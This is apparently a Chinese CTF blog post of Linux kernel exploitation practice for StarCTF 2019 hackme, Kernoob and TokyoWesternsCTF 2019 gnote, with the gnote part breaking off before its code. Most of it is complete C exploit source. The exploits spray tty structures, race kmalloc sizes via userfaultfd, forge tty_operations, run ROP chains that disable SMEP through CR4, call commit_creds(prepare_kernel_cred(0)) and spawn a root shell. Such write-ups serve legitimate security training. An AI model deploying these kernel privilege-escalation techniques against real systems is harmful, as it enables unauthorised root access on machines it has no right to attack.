linux kernel pwn 例题练习

StarCTF 2019 hackme

题目有非预期,用负数偏移offset可以向前溢出堆。所以能泄漏对地址,并且可以喷tty占坑去改结构体做rop

此方法exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
/*
* template exp.c
*/

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <poll.h>
#include <sched.h>
#include <semaphore.h>
#include <linux/fs.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <pthread.h>
#include <stdint.h>
#include <errno.h>
#include <assert.h>
#include <pty.h>

#define TTY_STRUCT_SIZE 0x2e0
#define ALLOC 0x30000
#define FREE 0x30001
#define WRITE 0x30002
#define READ 0x30003
#define die(msg) do {puts(msg); exit(-1);} while(0)

// some gadgets
#define mov_cr4_rax_pop_ret 0xffffffff8100252b
#define pop_rsp_ret 0xffffffff810484f0
#define pop_rax_ret 0xffffffff8101b5a1
#define swapgs_popX2_ret 0xffffffff81200c2e
#define push_rax_pop_rsp_ret 0xffffffff810608d5
#define iretq 0xffffffff81019356

typedef struct {
unsigned int idx;
unsigned int padding;
void *addr;
uint64_t size;
uint64_t off;
} user_data;

const uint64_t v_prepare_kernel_cred = 0xFFFFFFFF8104D3D0;
const uint64_t v_commit_creds = 0xFFFFFFFF8104D220;
const uint64_t v_work_for_cpu_fn = 0; // not found
const uint64_t v_ptm_unix98_ops = 0xffffffff81625d80;

long PAGE_SIZE;
int fd;
long uffd;
char g_buffer[0x1000];

void do_alloc(uint32_t idx, void *buf, uint64_t size){
user_data data = {
.idx = idx,
.addr = buf,
.size = size,
};

if(ioctl(fd, ALLOC, &data) == -1)
die("[-] ioctl alloc error!");
}

void do_free(uint32_t idx)
{
user_data data = {
.idx = idx,
};

if(ioctl(fd, FREE, &data) == -1)
die("[-] ioctl free error! ");
}

void do_write(uint32_t idx, void *buf, uint64_t size, uint64_t off){
user_data data = {
.idx = idx,
.addr = buf,
.size = size,
.off = off,
};

if(ioctl(fd, WRITE, &data) == -1)
die("[-] ioctl write error!");
}

void do_read(uint32_t idx, void *buf, uint64_t size, uint64_t off){
user_data data = {
.idx = idx,
.addr = buf,
.size = size,
.off = off,
};

if (ioctl(fd, READ, &data) == -1)
die("[-] ioctl read error!");

}

__attribute__((constructor)) static void init_(void)
{
PAGE_SIZE = sysconf(_SC_PAGESIZE);
if(PAGE_SIZE == -1)
die("[-] get page size error!");

printf("[*] page size is:%ld\n",PAGE_SIZE);

fd = open("/dev/hackme", O_RDONLY);
if (fd == -1)
die("[*] open device error!");

printf("[+] open device success, fd:%d\n",fd);
}

uint64_t user_cs, user_ss, user_sp, user_flags;
void save_status()
{
__asm__(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r" (user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_flags)
:
: "memory"
);
puts("[*] save status.");
printf("cs: %p, ss: %p, sp: %p, flags: %p\n",user_cs, user_ss, user_sp, user_flags);
}

uint64_t kernel_slide;
uint64_t kernel_base;
void escalate()
{
char *(*pkc)(int) = v_prepare_kernel_cred + kernel_slide;
void (*cc)(char *) = v_commit_creds + kernel_slide;
(*cc)((*pkc)(0));
}

void check_root()
{
if(getuid() == 0){
puts("[*] rooted.");
execlp("/bin/sh", "/bin/sh", 0);
} else {
die("[-] root failed.");
}
}

int main()
{
save_status();
void *buf = calloc(0x1000,1);
memset(buf, 0x61, 0x1000);
for (int i=0; i<5; i++){
do_alloc(i, buf, TTY_STRUCT_SIZE);
}
do_free(0);
do_free(2);

//register_faultpage((void *)0x1314000, PAGE_SIZE);
//register_faultpage((void *)0x1212000, PAGE_SIZE);

//pthread_t pt1, pt2;
//pthread_create(&pt1, 0, fault_handler_thread, (void *)&show_idx);
do_read(3, (void *)g_buffer, 0x400, -0x400);
// printf("[*] show heap content:\n");
// for (int i=0; i<10; i++){
// printf("buffer[%d]: %p\n", i,((uint64_t *)g_buffer)[i]);
// }
uint64_t heap0_addr = ((uint64_t *)g_buffer)[0];
printf("[*] heap 0 addr: %p\n", (void *)heap0_addr);
do_alloc(2, buf, TTY_STRUCT_SIZE);
memset(buf, 0x62, 0x1000);
do_alloc(0, buf, TTY_STRUCT_SIZE);

//check if alloc back 0
do_read(1, (void *)g_buffer, 0x400, -0x400);
assert( *(uint64_t *)g_buffer == 0x6262626262626262 );

do_free(1);
int masters[0x10], slaves[0x10];
for (int i=0;i<0x10;i++){
if(openpty(&masters[i], &slaves[i], 0, 0, 0) == -1)
die("[-] spray tty error!");
}

// check if get tty struct
do_read(2, (void *)g_buffer, 0x400, -0x400);
//for (int i=0; i<0x200/8; i++){
// printf("tty[%d] : %p\n", i, ((uint64_t *)g_buffer)[i]);
//}

kernel_slide = ((uint64_t *)g_buffer)[3] - v_ptm_unix98_ops;
kernel_base = 0xffffffff81000000 + kernel_slide;
printf("[*] kernel base: %p\n", (void *)kernel_base);

// set fake tty ops
void *fake_ops = calloc(0x400, 1);
*(uint64_t *)(fake_ops + 0) = pop_rsp_ret + kernel_slide;
*(uint64_t *)(fake_ops + 8) = heap0_addr + 56 + 8;
*(uint64_t *)(fake_ops + 56) = push_rax_pop_rsp_ret + kernel_slide;

// rop payload, put behind the ops
int n = 1;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = pop_rax_ret + kernel_slide;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = 0x6f0;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = mov_cr4_rax_pop_ret + kernel_slide;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = 0;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = (uint64_t)escalate;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = swapgs_popX2_ret + kernel_slide;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = 0;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = 0;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = iretq + kernel_slide;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = (uint64_t)check_root;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = user_cs;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = user_flags;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = user_sp;
*(uint64_t *)(fake_ops + 56 + (n++)*8) = user_ss;


do_write(0, fake_ops, TTY_STRUCT_SIZE, 0);

// overwrite tty_struct
*(uint64_t *)(g_buffer + 24) = heap0_addr;
do_write(2 ,g_buffer, 0x400, -0x400);

// call write to trigger rop
for (int i=0; i<0x10; i++)
write(masters[i], g_buffer, 1);

return 0;
}

下面贴一个raycp师傅的方法,首先申请一个巨大的heap,然后free掉,但是驱动虽然请了指针,并没有清size。使用uffd挂起malloc的线程,不让其赋值size,故可以使用old big size向高地址的堆任意读写。然后打开tty设备,向下搜到tty_struct之后修改ops去做rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
/*************************************************************
* File Name: exp_ptmx.c
*
* Created on: 2019-11-04 06:04:15
* Author: raycp
*
* Last Modified: 2019-11-14 07:25:39
* Description: double fetch with userfaultfd to form heap overflow, rop chain to close smep and ret2usr to privilege escalate.
************************************************************/

#include <stdio.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <assert.h>
#include <poll.h>


#define DEV_NAME "/dev/hackme"
#define PTMX_NAME "/dev/ptmx"
#define SEARCH_SIZE 0x200000
#define UID 1000

#define __NR_userfaultfd 323

// function address
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_prepare_kernel_cred prepare_kernel_cred = 0x4d3d0;// T prepare_kernel_cred
_commit_creds commit_creds = 0x4d220; // T commit_creds

//gadget offset
#define mov_cr4_rdi_push_p_p_ret_offset 0x00252b //: mov cr4, rax; push rcx; popfq; pop rbp; ret;
#define prdi_ret_offset 0x033de0 //: pop rdi; ret;
#define prax_ret_offset 0x01b5a1 //: pop rax; ret;
#define swapgs_p_p_ret_offset 0x200c2e //: swapgs; popfq; pop rbp; ret;
#define iretq_p_ret_offset 0x019356 //: iretq; pop rbp; ret;
#define ret_offset 0x0001cc //: ret;
#define mov_rsp_rax_ret_offset 0x200F66 //mov rsp, rax ; ret
#define mov_cr4_rax_p_ret_offset 0x00252b //: mov cr4, rax; push rcx; popfq; pop rbp; ret;
#define ptm_unix98_ops_offset 0x625d80
#define call_rdx_offset 0x5DBEF
#define prcx_ret_offset 0x633ad8 //: pop rcx; ret;
#define mov_rdi_rax_call_rcx_offset 0x4a5a0 //: mov rdi, rax; mov rbp, rsp; call rcx;
#define pop_rsp_ret_offset 0x0484f0 //: pop rsp; ret;


uint64_t mov_cr4_rax_p_ret = 0;
uint64_t prax_ret = 0;
uint64_t prdi_ret = 0;
uint64_t swapgs_p_p_ret = 0;
uint64_t iretq_p_ret = 0;
uint64_t ret = 0;
uint64_t mov_rsp_rax_ret = 0;
uint64_t call_rdx = 0;
uint64_t prcx_ret = 0;
uint64_t mov_rdi_rax_call_rcx = 0;
uint64_t pop_rsp_ret = 0;


static long uffd;
uint64_t fault_page;
uint64_t fault_page_len;

struct user_input
{
uint32_t idx;
uint32_t pad;
char *data_ptr;
uint64_t size;
uint64_t offset;
};

void die(const char* msg)
{
perror(msg);
_exit(-1);

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
asm(
"movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %2\n\t"
"pushfq\n\t"
"popq %3\n\t"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
:
: "memory");

}
void privilege_escalate()
{
commit_creds(prepare_kernel_cred(0));
}


void root_shell()
{
if(!getuid()) {
system("/bin/sh");
}
else {
die("get root shell failed");
}
exit(0);
}


void ko_malloc(int fd, uint32_t idx, char* data_ptr, uint64_t size)
{
struct user_input input;
input.idx = idx;
input.data_ptr = data_ptr;
input.size = size;

int ret;

ret = ioctl(fd, 0x30000, &input);
if(ret == -1) {
die("malloc error");
}
return ;
}

void ko_read(int fd, uint32_t idx, char* data_ptr, uint64_t size, uint64_t offset)
{

struct user_input input;
input.idx = idx;
input.data_ptr = data_ptr;
input.size = size;
input.offset = offset;

int ret;

ret = ioctl(fd, 0x30003, &input);
if(ret == -1) {
die("read error");
}
return ;
}


void ko_write(int fd, uint32_t idx, char* data_ptr, uint64_t size, uint64_t offset)
{

struct user_input input;
input.idx = idx;
input.data_ptr = data_ptr;
input.size = size;
input.offset = offset;

int ret;

ret = ioctl(fd, 0x30002, &input);
if(ret == -1) {
die("write error");
}
}

void ko_free(int fd, uint32_t idx )
{

struct user_input input;
input.idx = idx;

int ret;

ret = ioctl(fd, 0x30001, &input);
if(ret == -1) {
die("free error");
}
}

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
long uffd; /* userfaultfd file descriptor */
//struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
die("poll");

/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1)
die("read");

/* We expect only one kind of event; verify that assumption */
assert(msg.event == UFFD_EVENT_PAGEFAULT);

// sleep to wait for root shell
printf("[+] fault page handler finished, vuln formed, hacking the world now...\n");
sleep(1000);

}

void register_userfault()
{

long uffd; /* userfaultfd file descriptor */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
pthread_t thr; /* ID of thread that handles page faults */
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
die("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
die("ioctl-UFFDIO_API");

/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */
uffdio_register.range.start = fault_page;
uffdio_register.range.len = fault_page_len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
die("ioctl-UFFDIO_REGISTER");

/* Create a thread that will process the userfaultfd events */
s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
die("pthread_create");
}
}

int main()
{
int fd, ptmx_fd, i, j;
uint64_t size, offset, kernel_base, kheap_addr, ptmx_offset=0;
uint32_t idx;
char *data_ptr;
uint64_t evil_buff[0x200/8];

fd = open(DEV_NAME, O_RDONLY);
if(fd==-1) {
die("open dev error");
}

// create a chunk with big size first and then delete the chunk, leave a null pointer with size remained
data_ptr = (char*)malloc(SEARCH_SIZE);
size = SEARCH_SIZE;
idx = 0;
ko_malloc(fd, idx, data_ptr, size);

idx = 0;
ko_free(fd, idx);

if(fork() ==0) {
// in child process, trigger the page fault and stay in the loop, forms the vuln (big size, small buf).
data_ptr = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
fault_page = (uint64_t)data_ptr;
fault_page_len = 0x1000;
register_userfault();

idx = 0;
size = 0x2e0; // the size should be the same with ptmx struct(need to be the same slub)
ko_malloc(fd, idx, data_ptr, size); // stucked in copy_from_user

}

sleep(2); // wait child process to form the vuln
// malloc a ptmx struct
ptmx_fd = open(PTMX_NAME, O_RDWR);
if(ptmx_fd == -1 )
die("open ptmx error");

// trying to find ptmx struct
printf("trying to find ptmx struct\n");
for( i=0; i<SEARCH_SIZE; i+=0x200 ){
printf("0x%x\n", i);
size = 0x200;
idx = 0;
offset = i;
ko_read(fd, idx, (char*)evil_buff, size, offset);
for(j=0; j<0x200/8; j++){
if(evil_buff[j] == 0x0000000100005401){
ptmx_offset = i+j*8;
printf("find ptmx struct at offset: 0x%lx\n", ptmx_offset);
break;
}
}
if(ptmx_offset != 0)
break;
}
if(ptmx_offset==0)
die("can't find ptmx struct");

// leak kernel base and heap address
kernel_base = evil_buff[3] - ptm_unix98_ops_offset;
kheap_addr = evil_buff[7] - 0x38 - ptmx_offset;
printf("leak kernel base: 0x%lx\n", kernel_base);
printf("leak kheap address: 0x%lx\n", kheap_addr);

// get the gadget address
prdi_ret = kernel_base + prdi_ret_offset;
prax_ret = kernel_base + prax_ret_offset;
mov_rsp_rax_ret = kernel_base + mov_rsp_rax_ret_offset;
swapgs_p_p_ret = kernel_base + swapgs_p_p_ret_offset;
mov_cr4_rax_p_ret = kernel_base + mov_cr4_rax_p_ret_offset;
call_rdx = kernel_base + call_rdx_offset;
ret = kernel_base + ret_offset;
prcx_ret = kernel_base + prcx_ret_offset;
mov_rdi_rax_call_rcx = kernel_base + mov_rdi_rax_call_rcx_offset;
commit_creds += kernel_base;
prepare_kernel_cred += kernel_base;
pop_rsp_ret = kernel_base + pop_rsp_ret_offset;
iretq_p_ret = kernel_base + iretq_p_ret_offset;

// save status
save_status();


// fake tty operation
uint64_t fake_tty_operations[40];

// this is close pointer, which is the first gadget
fake_tty_operations[4]=call_rdx; // mov rax, [rbx+38h]; mov rdx, [rax+0C8h]; call rdx;

// this is the second gadget
fake_tty_operations[0xc8/8] = mov_rsp_rax_ret;

// now the rop chain
fake_tty_operations[0] = pop_rsp_ret;
fake_tty_operations[1] = kheap_addr + 0x10;
fake_tty_operations[2] = ret;
fake_tty_operations[3] = prdi_ret; // skip the fake_tty_operations[4]
fake_tty_operations[5] = prax_ret;
fake_tty_operations[6] = 0x6f0;
fake_tty_operations[7] = mov_cr4_rax_p_ret; // close smep and smap
fake_tty_operations[8] = 0;
fake_tty_operations[9] = (uint64_t) privilege_escalate;
fake_tty_operations[10] = swapgs_p_p_ret;
fake_tty_operations[11] = 0;
fake_tty_operations[12] = 0;
fake_tty_operations[13] = iretq_p_ret;
fake_tty_operations[14] = (uint64_t)root_shell;
fake_tty_operations[15] = user_cs;
fake_tty_operations[16] = user_rflags;
fake_tty_operations[17] = user_sp;
fake_tty_operations[18] = user_ss;

// here is rop chain to privilege_escalate
/*
fake_tty_operations[0] = prax_ret;
fake_tty_operations[1] = 0x6f0;
fake_tty_operations[2] = ret;
fake_tty_operations[3] = prdi_ret;
fake_tty_operations[5] = mov_cr4_rax_p_ret;
fake_tty_operations[6] = 0;
fake_tty_operations[7] = prdi_ret;
fake_tty_operations[8] = 0;
fake_tty_operations[9] = prepare_kernel_cred;
fake_tty_operations[10] = prcx_ret;
fake_tty_operations[11] = prax_ret;
fake_tty_operations[12] = mov_rdi_rax_call_rcx;
fake_tty_operations[13] =commit_creds;
fake_tty_operations[14] = swapgs_p_p_ret;
fake_tty_operations[15] = 0;
fake_tty_operations[16] = 0;
fake_tty_operations[17] = iretq_p_ret;
fake_tty_operations[18] = (uint64_t)root_shell;
fake_tty_operations[19] = user_cs;
fake_tty_operations[20] = user_rflags;
fake_tty_operations[21] = user_sp;
fake_tty_operations[22] = user_ss;
*/

// fake ptmx struct
uint64_t *fake_tty_struct;
fake_tty_struct = evil_buff;
fake_tty_struct[3] = (uint64_t)kheap_addr; // overwrite to form the fake_tty_operations
fake_tty_struct[0x38/8] = kheap_addr; // this is 'mov rax, [rbx+38h]' address

// deploy rop chain
size = sizeof(fake_tty_operations);
idx = 0;
offset = 0;
ko_write(fd, idx, (char*)fake_tty_operations, size, offset);

// overwrite the fake ptmx back
size = sizeof(evil_buff);
idx = 0;
offset = ptmx_offset;
ko_write(fd, idx, (char*)fake_tty_struct, size, offset);

// trigger close pointer to execute rop chain.
close(ptmx_fd);

return 0;
}

Kernoob

double fetch 使得kmalloc的size产生竞争,拿到tty_strcut大小的objdect,free掉后打开pty进行uaf,有work_for_cpu_fn可以用。没有开smap,fake_ops(work_for_cpu_fn或者rop payload)放在用户态空间即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
/*
* template exp.c
*/

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <poll.h>
#include <sched.h>
#include <semaphore.h>
#include <linux/fs.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <pthread.h>
#include <stdint.h>
#include <errno.h>
#include <pty.h>

#define TTY_STRUCT_SIZE 0x2e0
#define DEAD_ADDR 0x1314000
#define DELETE 0x30001
#define EDIT 196610
#define SHOW 196611
#define ADD 196608
#define die(msg) do {puts(msg); exit(-1);} while(0)

typedef struct {
uint64_t idx;
void *buf;
uint64_t len;
} user_arg;

const uint64_t v_prepare_kernel_cred = 0xffffffff810ad7e0;
const uint64_t v_commit_creds = 0xffffffff810ad430;
const uint64_t v_work_for_cpu_fn = 0xffffffff810a1ea0;
const uint64_t ptm_unix98_ops_off = 0;

long PAGE_SIZE;
int fd;
long uffd;
char g_buffer[0x1000];

uint64_t kernel_slide = 0;
uint64_t kernel_base = 0;
void escalate()
{
char *(*pkc)(int) = v_prepare_kernel_cred + kernel_slide;
void (*cc)(char *) = v_commit_creds + kernel_slide;
(*cc)((*pkc)(0));

}

uint64_t user_cs, user_ss, user_sp, user_flags;
void save_status()
{
__asm__(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r" (user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_flags)
:
: "memory"
);
puts("[*] save status.");
// printf("cs: %p, ss: %p, sp: %p, flags: %p\n",user_cs, user_ss, user_sp, user_flags);
}

static void register_faultpage()
{
struct uffdio_api uapi;
struct uffdio_register ureg;
//pthread_t pthr;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if(uffd == -1)
die("[-] uffd sycall error!");
puts("[*] register uffd.");

uapi.api = UFFD_API;
uapi.features = 0;
if(ioctl(uffd, UFFDIO_API, &uapi) == -1)
die("[-] ioctl-UFFDIO_API.");

void *ret = mmap((void *)DEAD_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (ret == MAP_FAILED)
die("[-] mmap error!");

printf("[*] register 0x%lx page addr.\n",DEAD_ADDR);

ureg.range.start = (unsigned long) DEAD_ADDR;
ureg.range.len = PAGE_SIZE;
ureg.mode = UFFDIO_REGISTER_MODE_MISSING;
if( ioctl(uffd, UFFDIO_REGISTER, &ureg) == -1 )
die("[-] ioctl-UFFDIO_REGISTER!");

// register
}

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg;

static char *page = NULL;
ssize_t nread;

long uffd = (long ) arg;

for (;;)
{
struct pollfd pfd;
int nready;
pfd.fd = uffd;
pfd.events = POLLIN;
nread = poll(&pfd, 1, -1);
if(nread == -1)
die("poll error!");

puts("**********fault_handler_thread**********");
//read a event from the userfaultfd
nread = read(uffd, &msg, sizeof(msg));
if(nread == 0)
die("EOF on uffd!");

if(nread == -1)
die("read event error!");

// only expect pagefault event
if(msg.event != UFFD_EVENT_PAGEFAULT)
die("unexpected event on uffd!");

//show info about page fault event
puts(" UFFD_EVENT_PAGEFAULT event:");
printf("flags = %llx\n", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);

// do not handle this page fault, let victim thread stuck forever
puts("***************** end. *****************");

}

}

static void __attribute__((constructor)) init_(void)
{
PAGE_SIZE = sysconf(_SC_PAGESIZE);
if(PAGE_SIZE == -1)
die("[-] get page size error!");

printf("[*] page size is:%ld\n",PAGE_SIZE);
fd = open("/dev/noob", 0);
if (fd == -1)
die("[*] open device error!");

printf("[+] open device success, fd:%d\n",fd);
}

void add_note(user_arg *arg){
if(ioctl(fd, ADD, arg) == -1)
puts("[-] race add_note failed.");
else {
puts("[+] add note success.");
}
}

void edit_note(uint64_t idx, void *buf, uint64_t size){
user_arg arg = {
.idx = idx,
.buf = buf,
.len = size,
};
if(ioctl(fd, EDIT, &arg) == -1){
puts("[-] ioctl edit error!");
}
}

void show_note(uint64_t idx, void *buf, uint64_t size){
user_arg arg = {
.idx = idx,
.buf = buf,
.len = size,
};
if(ioctl(fd, SHOW, &arg) == -1){
puts("[-] ioctl show error!");
}
}


void del_note(uint64_t idx){
user_arg arg = {
.idx = idx
};

if(ioctl(fd, DELETE, &arg) == -1)
puts("[-] ioctl delete error!");
}

static void *evil_thread(void *data){
while(1)
{
((user_arg *)data)->len = TTY_STRUCT_SIZE;
}
}

static void *create_evil_note(void *data){
for (int i=0; i<0x1f; i++) {
((user_arg *)data)->idx = i;
((user_arg *)data)->len = 0x70;
add_note(data);
}
}

user_arg add_arg;

int main()
{

save_status();
uint64_t evil_size = 0x70;
// user_arg add_arg;
pthread_t thr, add_t;
pthread_create(&thr, NULL, evil_thread, (void *)&add_arg);
puts("[*] sleeping for 100 usec.");
usleep(100);
pthread_create(&add_t, NULL, create_evil_note, (void *)&add_arg);
if(pthread_join(add_t, 0) !=0)
die("[*] create add pthread failed.");
/*
for (int i=0; i<0x1f; i++){
add_arg.idx = i;
add_arg.len = 0x70;
add_note(&add_arg);
usleep(500);
}
*/

for (int i=0; i<0x1f; i++)
del_note(i);

int masters[0x10], slaves[0x10];
for (int i=0; i<0x10; i++)
if(openpty(&masters[i], &slaves[i], 0, 0, 0) == -1)
die("[-] spray tty error!");


int find_idx = -1;
for (int i=0; i<0x1f; i++)
{
memset((void *)g_buffer, 0, 0x70);
show_note(i, (void *)g_buffer, 0x70);
for (int j=0; j<0x70/8; j++){
if( ((uint64_t *)g_buffer)[j] == 0x100005401){
printf("[*] UAF on note: %d\n", i);
find_idx = i;
break;
}
}
if (find_idx != -1)
break;
}
if (find_idx == -1)
die("[*] can not uaf, main exit.");

puts("[*] leak info:");
for (int i=0; i<0x60/8; i++)
printf("buffer[%d] : %p\n",i, ((uint64_t *)g_buffer)[i]);


// no smap, rop payload in user space
void *pay = calloc(0x1000, 1);
*(uint64_t *)(pay + 96) = v_work_for_cpu_fn;

uint64_t old_value_off48 = *(uint64_t *)(g_buffer + 48);

*(uint64_t *)(g_buffer + 24) = (uint64_t)pay;
*(uint64_t *)(g_buffer + 32) = v_prepare_kernel_cred;
*(uint64_t *)(g_buffer + 40) = 0;
edit_note(find_idx, (void *)g_buffer, 0x70);

puts("[*] try to call prepare_kernel_cred(0)");
for (int i=0; i<0x10; i++)
ioctl(masters[i], 1, 1);

// get prepare_kernel_cred return value
show_note(find_idx, (void *)g_buffer, 0x70);
uint64_t retval = *(uint64_t *)(g_buffer + 48);
*(uint64_t *)(g_buffer + 32) = v_commit_creds;
*(uint64_t *)(g_buffer + 40) = retval;
*(uint64_t *)(g_buffer + 48) = old_value_off48;
edit_note(find_idx, (void *)g_buffer, 0x70);

puts("[*] try to call commit_creds()");
for (int i=0; i<0x10; i++)
ioctl(masters[i], 1, 1);

printf("[*] getuid(): %d\n",getuid());

if(getuid() == 0) {
puts("[*] rooted.");
execlp("/bin/sh", "/bin/sh", NULL);
} else {
die("[*] root failed.");
}
return 0;

}

TokyoWesternsCTF 2019 gnote

漏洞很细,在switch 汇编级下大于五个case会有double fetch的代码,利用case越界去任意地址执行。选择一条gadget(xchg eax, esp; ret)劫持内核栈到userland(使用mmap gadget_addr & 0xffffffff),布置好rop执行提权。

rop可以是prepare_kernel_cred->commit_creds,也可以利用内核memcpy函数修改modprobe_path

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
